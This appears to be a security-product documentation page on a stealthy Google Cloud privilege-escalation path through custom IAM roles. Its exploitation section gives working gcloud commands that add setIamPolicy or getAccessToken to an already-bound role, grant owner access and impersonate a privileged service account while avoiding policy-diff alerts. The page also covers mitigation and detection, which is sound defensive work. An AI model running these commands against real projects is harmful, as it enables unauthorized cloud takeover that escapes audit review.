Skip to content

GCP_MODIFY_CUSTOM_ROLES

Copy page

Summary

Forestall ACL Alias GCP_MODIFY_CUSTOM_ROLES
GCP Alias IAM & Hierarchy Control
Affected Object Types Organizations, Folders, Projects
Exploitation Certainty Certain
Granting Roles roles/owner, roles/iam.roleAdmin

Description

GCP_MODIFY_CUSTOM_ROLES indicates that an identity holds iam.roles.update on a GCP project or organization, granting the ability to create and modify custom IAM roles. This is a particularly stealthy privilege escalation path: instead of creating new IAM bindings (which are visible in policy diffs), an attacker can silently add dangerous permissions to a custom role that is already bound to their identity.

If the attacker’s identity already holds a custom role binding, modifying that role to include resourcemanager.projects.setIamPolicy or iam.serviceAccounts.getAccessToken escalates privileges without any change to the IAM policy bindings — the escalation is not visible in SetIamPolicy audit logs.

Key abuse scenarios:

  • Add resourcemanager.projects.setIamPolicy to a custom role the attacker already holds → instant project-level IAM takeover.
  • Add iam.serviceAccounts.getAccessToken → directly impersonate any SA in the project.
  • Add iam.serviceAccounts.actAs + compute.instances.create → create VMs attached to privileged SAs.

Identification

gcloud CLI

# Find who has iam.roleAdmin at project level
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
jq '.bindings[] | select(.role | test("owner|iam.roleAdmin")) | {role: .role, members: .members}'
# Find who has iam.roleAdmin at org level
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations get-iam-policy $ORG_ID --format=json | \
jq '.bindings[] | select(.role | test("owner|iam.roleAdmin")) | {role: .role, members: .members}'
# List all custom roles in a project and their permissions
gcloud iam roles list --project=$PROJECT_ID --format=json | \
jq '.[] | {name: .name, title: .title, permissions: .includedPermissions}'

Exploitation

gcloud CLI

# Identify which custom role the attacker's identity already holds
PROJECT_ID="target-project"
ATTACKER_EMAIL="[email protected]"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
jq --arg user "user:$ATTACKER_EMAIL" '.bindings[] | select(.members[] | contains($user))'
# Add setIamPolicy to the custom role the attacker already holds
ROLE_ID="customEditorRole"
gcloud iam roles update $ROLE_ID --project=$PROJECT_ID \
--add-permissions=resourcemanager.projects.setIamPolicy
# Now escalate: grant full owner access to the attacker's identity
gcloud projects add-iam-policy-binding $PROJECT_ID \
--member="user:$ATTACKER_EMAIL" \
--role="roles/owner"

Alternatively, add token creator permission for direct SA impersonation:

gcloud iam roles update $ROLE_ID --project=$PROJECT_ID \
--add-permissions=iam.serviceAccounts.getAccessToken
TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"
gcloud auth print-access-token --impersonate-service-account=$TARGET_SA

Compound path: GCP_MODIFY_CUSTOM_ROLES → add setIamPolicy to a role already bound to the attacker → GCP_SET_PROJECT_IAMPOLICY → full project takeover with no new IAM binding visible in policy diff logs.

Mitigation

  1. Restrict roles/iam.roleAdmin to dedicated automation accounts; never assign to human users in production.
  2. Separate role definition from role assignment — use different principals for iam.roles.update and iam.bindings.update.
  3. Audit custom role permission changes with the same urgency as IAM policy changes — UpdateRole does not appear in IAM policy diff alerts.
  4. Use constraints/iam.allowedPolicyMemberDomains to limit who can be added to bindings even if a role is escalated.

Detection

Log Type Method Key Fields
Admin Activity google.iam.admin.v1.UpdateRole resource.type=iam_role, permission additions in request
Admin Activity google.iam.admin.v1.CreateRole New custom role created with dangerous permissions
PROJECT_ID="my-project"
gcloud logging read \
'protoPayload.methodName=("google.iam.admin.v1.UpdateRole" OR "google.iam.admin.v1.CreateRole")' \
--project=$PROJECT_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"

Alert on:

  • Any UpdateRole call adding permissions containing setIamPolicy, actAs, or getAccessToken.
  • New custom roles created with dangerous permission combinations.
  • Role updates by identities outside of a known infrastructure automation pipeline.

References

Was this page helpful?

Thank you for your feedback.